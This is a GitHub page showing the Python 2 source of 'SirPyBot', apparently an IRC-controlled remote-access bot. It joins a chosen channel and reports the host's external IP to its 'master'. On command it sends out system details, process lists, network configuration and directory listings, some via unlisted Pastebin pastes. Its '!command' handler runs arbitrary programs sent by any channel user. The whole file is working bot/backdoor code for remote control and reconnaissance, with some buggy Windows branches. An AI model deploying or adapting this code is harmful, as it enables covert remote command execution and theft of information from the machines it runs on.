-
Notifications
You must be signed in to change notification settings - Fork 7
/
Copy pathsirpybot.py
executable file
·273 lines (232 loc) · 9.24 KB
/
sirpybot.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
'''
Name: sirpybot.py
Description: IRC Bot
Author: Lopi
Contributors: b0b (windows stuff), akama (uptime and ls)
Version: 0.2
TODO: upload
download
ls -lahF /directory/you/want (dir equivalent) -- Fixed to work on Linux
execute shell commands
TESTING:
Windows
--------
uptime
ls
'''
# Libraries
import socket # Communicate with irc server
import sys # CLI options
import os # System calls
import platform # System info gathering
import locale # System language
import urllib2 # Used to get external ip address
import argparse # CLI arg parsing
import subprocess # Spawn subprocesses
import time # IMport time for sleep
from pastebin import PastebinAPI # Paste to pastebin
# CLI options
parser = argparse.ArgumentParser()
parser.add_argument('server', help='IRC Server IP Address')
parser.add_argument('port', help='IRC Server Port')
parser.add_argument('channel', help='IRC Server Channel')
parser.add_argument('nick', help='Nickname')
args = parser.parse_args()
# Global variables to configure the bot
pastebin_api_key = '-----INSERT KEY HERE-----'
server = args.server # Server
port = args.port # Port
channel = '#' + args.channel # Channel
botnick = args.nick # Nickname
ircsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # IRC Socket
# Functions are defined below
def banner(): # Displayed when the program starts
title = 'SirPyBot'
version = 'Version 0.2'
contact = 'chris[dot]spehn[at]gmail[dot]com'
print '\n' + title.center(45)
print '\n' + version.center(45)
print '\n' + contact.center(45)
def ping(): # Function to respond to server pings
ircsock.send('PONG :pingis\n')
def sysinfo(): # Function to obtain system information
print 'Sending system information'
if (str(platform.platform()))[0:3]=="Win": # If user is running Windows, get username from environment variable %USERNAME% instead
sendmsg(channel, 'User name: ' + str(os.getenv("USERNAME")))
sendmsg(channel, 'Computer: ' + platform.uname()[1])
sendmsg(channel, 'OS: ' + platform.platform())
sendmsg(channel, 'Arch: ' + platform.machine())
sendmsg(channel, 'Language: ' + locale.getdefaultlocale()[0])
else:
sendmsg(channel, 'User name: ' + str(os.getlogin()))
sendmsg(channel, 'Computer: ' + platform.uname()[1])
sendmsg(channel, 'OS: ' + platform.platform())
sendmsg(channel, 'Arch: ' + platform.machine())
sendmsg(channel, 'Language: ' + locale.getdefaultlocale()[0])
def get_external_ip(): # Function to get external ip address
try:
ip = urllib2.urlopen('http://automation.whatismyip.com/n09230945.asp').read()
sendmsg(channel, 'Connecting from ' + ip + ' to serve you master!')
except urllib2.HTTPError, e:
print 'There was an HTTP error: ' + e
sendmsg(channel, 'There was an HTTP error: ' + e)
except urllib2.URLError, e:
print 'There was a problem with the URL: ' + e
sendmsg(channel, 'There was a problem with the URL: ' + e)
def pslist(): # Function to list process names and pids
x = PastebinAPI()
if (str(platform.platform()))[0:3]=="Win":
# TODO: make this pretty
p = subprocess.Popen('tasklist', shell=False, stdout=subprocess.PIPE)
p.wait()
paste_code = p.stdout.read()
url = x.paste(pastebin_api_key,
paste_code,
paste_name = 'tasklist',
paste_private = 'unlisted',
paste_expire_date = '10M')
sendmsg(channel, url)
else:
p = subprocess.Popen(['ps', 'aux'], shell=False, stdout=subprocess.PIPE)
p.wait()
paste_code = p.stdout.read()
url = x.paste(pastebin_api_key,
paste_code,
paste_name = 'ps aux',
paste_private = 'unlisted',
paste_expire_date = '10M')
sendmsg(channel, url)
def ifconfig(): # Displays network interfaces
if (str(platform.platform()))[0:3]=="Win":
p = subprocess.Popen('ipconfig /all', shell=False, stdout=subprocess.PIPE)
p.wait()
paste_code = p.stdout.read()
x = PastebinAPI()
url = x.paste(pastebin_api_key,
paste_code,
paste_name = 'ipconfig',
paste_private = 'unlisted',
paste_expire_date = '10M')
sendmsg(channel, url)
else:
p = subprocess.Popen('ifconfig', shell=False, stdout=subprocess.PIPE)
p.wait()
paste_code = p.stdout.read()
x = PastebinAPI()
url = x.paste(pastebin_api_key,
paste_code,
paste_name = 'ifconfig',
paste_private = 'unlisted',
paste_expire_date = '10M')
sendmsg(channel, url)
# Error check might not work
def ls(dir): # Directory listing
if (str(platform.platform()))[0:3]=="Win":
p = subprocess.Popen(['dir',dir], shell=False, stdout=subprocess.PIPE)
p.wait()
paste_code = p.stdout.read()
x = PastebinAPI()
url = x.paste(pastebin_api_key,
paste_code,
paste_name = 'ls -lahF',
paste_private = 'unlisted',
paste_expire_date = '10M')
sendmsg(channel, url)
else:
x = PastebinAPI()
p = subprocess.Popen(['ls', dir, '-lahF'], shell=False, stdout=subprocess.PIPE)
p.wait()
paste_code = p.stdout.read()
if paste_code == '':
sendmsg(channel, 'No such file or directory')
else:
url = x.paste(pastebin_api_key,
paste_code,
paste_name = 'ls -lahF',
paste_private = 'unlisted',
paste_expire_date = '10M')
sendmsg(channel, url)
def uptime(): #Check the uptime of the box that the bot is running on.
if (str(platform.platform())) [0:3]=="Win":
#This may or may not work, untested at the moment. akama.
p = subprocess.Popen('systeminfo | find "System Boot Time"', shell=False, stdout=subprocess.PIPE)
p.wait()
output = p.stdout.read()
sendmsg(channel, output)
else:
p = subprocess.Popen('uptime', shell=False, stdout=subprocess.PIPE)
p.wait()
output = p.stdout.read()
sendmsg(channel, output)
def pwd(): # Print working directory
sendmsg(channel, os.getcwd())
def help(): # Tells the bot owner what commands are available
sendmsg(channel, 'The following commands are available: hello | sysinfo | getip | pslist | ifconfig | pwd | uptime | ls')
def sendmsg(chan , msg): # Function to send messages to the channel
ircsock.send('PRIVMSG '+ chan +' :'+ msg +'\n')
def joinchan(chan): # Function to join channels
ircsock.send('JOIN '+ chan +'\n')
def hello(): # Function responds to a user that inputs 'Hello BotName'
ircsock.send('PRIVMSG '+ channel +' :Hello!\n')
def connect(): # Connects to the server, finds commands, etc.
ircsock.connect((server, int(port))) # Connect to the server
ircsock.send('USER ' + botnick + ' ' + botnick + ' ' + botnick + ' :' + botnick + '\n') # User authentication
ircsock.send('NICK '+ botnick +'\n') # Assign NICK to the bot
joinchan(channel) # Join the channel
def command(com):
if (str(platform.platform())) [0:3]=="Win":
sendmsg(channel, '"womdows is not supported at this time, this might not work.')
try:
p = subprocess.Popen(com.split(" "), shell=False, stdout=subprocess.PIPE)
p.wait()
output = p.stdout.read()
for line in output.split('\n'):
if ( line != ''):
time.sleep(0.5)
sendmsg(channel, line)
except OSError:
sendmsg(channel, 'This is not an valid command.')
else:
try:
p = subprocess.Popen(com.split(" "), shell=False, stdout=subprocess.PIPE)
p.wait()
output = p.stdout.read()
for line in output.split('\n'):
if ( line != ''):
time.sleep(0.5)
sendmsg(channel, line)
except OSError:
sendmsg(channel, 'This is not an valid command.')
def main():
os.system('clear') # Clear the screen
banner() # Print the banner
connect() # Connect to the Server
get_external_ip() # Announces where the bot is connecting from
while 1: # WARNING: May cause an infinite loop
ircmsg = ircsock.recv(2048) # Receive data from the server
ircmsg = ircmsg.strip('\n\r') # Remove linebreaks
print(ircmsg) # Print server's messages
if ircmsg.find(':!hello') != -1: # Calls hello() if 'hello BotName' is found
hello()
if ircmsg.find('PING :') != -1: # Respond to server pings
ping()
if ircmsg.find(':!sysinfo') != -1: # Calls sysinfo() if 'sysinfo BotName' is found
sysinfo()
if ircmsg.find(':!getip') != -1: # Calls get_external_ip() if 'getip BotName' is found
get_external_ip()
if ircmsg.find(':!pslist') != -1: # Calls pslist() if 'pslist BotName' is found
pslist()
if ircmsg.find(':!ifconfig') != -1: # Calls pslist() if 'ifconfig BotName' is found
ifconfig()
if ircmsg.find(':!pwd') != -1: # Calls pwd() if 'pwd BotName' is found
pwd()
if ircmsg.find(':!uptime') != -1: # Calls uptime() if 'uptime BotName' is found
uptime()
if ircmsg.find(':!ls ') != -1: # Calls ls() if 'pwd BotName' is found
dir = (ircmsg.split(" ")[len(ircmsg.split(" "))-1])
ls(dir)
if ircmsg.find(':!help') != -1: # Calls ls() if 'pwd BotName' is found
help()
if ircmsg.find(':!command') != -1: # Calls command() if ':command' is found
command(ircmsg.split("!command ")[len(ircmsg.split("!command "))-1])
main()